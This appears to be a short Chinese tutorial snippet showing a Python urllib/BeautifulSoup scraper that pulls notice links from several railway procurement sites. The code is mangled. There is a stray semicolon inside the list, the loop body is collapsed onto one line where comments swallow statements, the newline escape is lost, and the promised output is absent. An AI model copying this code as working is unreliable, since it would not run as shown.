把所有需要采集的页面地址都放入url_list这个列表
url_list=['http://wz.lanzh.95306.cn/mainPageNoticeList.do?method=init&id=2000001&cur=1','http://wz.lanzh.95306.cn/mainPageNoticeList.do?method=init&id=2200001&cur=1','http://wz.cd-rail.com/mainPageNoticeList.do?method=init&id=2000001&cur=1','http://wz.cd-rail.com/mainPageNoticeList.do?method=init&id=2200001&cur=1','http://wz.xian.95306.cn/mainPageNoticeList.do?method=init&id=2000001&cur=1','http://wz.xian.95306.cn/mainPageNoticeList.do?method=init&id=2200001&cur=1','http://wz.huhht.95306.cn/mainPageNoticeList.do?method=init&id=2000001&cur=1','http://wz.huhht.95306.cn/mainPageNoticeList.do?method=init&id=2200001&cur=1','http://wz.qingz.95306.cn/mainPageNoticeList.do?method=init&id=2000001&cur=1','http://wz.qingz.95306.cn/mainPageNoticeList.do?method=init&id=2200001&cur=1';]
第一层循环,把url都导出来
for url in url_list: #定义发送的请求 req=urllib.request.Request(url) #将服务器返回的页面放入rsp变量 rsp=urllib.request.urlopen(req) #读取这个页面,并解码成utf-8格式,忽略错误,放入变量html中 html=rsp.read().decode('utf-8','ignore') #使用BeautifulSoup模块解析变量中的web内容 html=BeautifulSoup(html,'html.parser') #第二层循环,找出所有的a标签,并赋值给变量 link for link in html.find_all('a',limit=3): #把href中的内容赋值给info_link info_link=link.get('href') #把a标签中的文字赋值给info_text,并去除空格 info_text=link.get_text(strip=True) #打印出info_text和info_link,并换行 print(info_text) print(url[:-50]+info_link+'n')
运行一下,结果如下:
暂无评论内容